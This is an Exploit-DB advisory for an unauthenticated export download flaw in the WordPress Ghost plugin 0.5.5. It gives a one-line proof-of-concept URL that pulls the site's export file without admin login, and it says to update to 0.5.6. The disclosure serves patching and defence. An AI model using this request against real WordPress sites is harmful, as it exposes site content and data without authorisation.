WordPress Ghost Plugin 0.5.5 - Unrestricted Export Download

2016-05-02T00:00:00
ID EDB-ID:39752
Type exploitdb
Reporter Josh Brody
Modified 2016-05-02T00:00:00

Description

WordPress Ghost Plugin 0.5.5 - Unrestricted Export Download. Webapps exploit for php platform

                                        
                                            # Exploit Title: WordPress Export to Ghost Unrestricted Export Download
# Date: 28-04-2016
# Software Link: https://wordpress.org/plugins/ghost
# Exploit Author: Josh Brody
# Contact: http://twitter.com/joshmn
# Website: http://josh.mn/
# Category: webapps
 
1. Description
   
Any visitor can download the Ghost Export file because of a failure to check if an admin user is properly authenticated. Assume all versions < 0.5.6 are vulnerable.
   
2. Proof of Concept

http://example.com/wp-admin/tools.php?ghostexport=true&submit=Download+Ghost+file

File will be downloaded.
   
3. Solution:

Update to version 0.5.6

https://downloads.wordpress.org/plugin/ghost.0.5.6.zip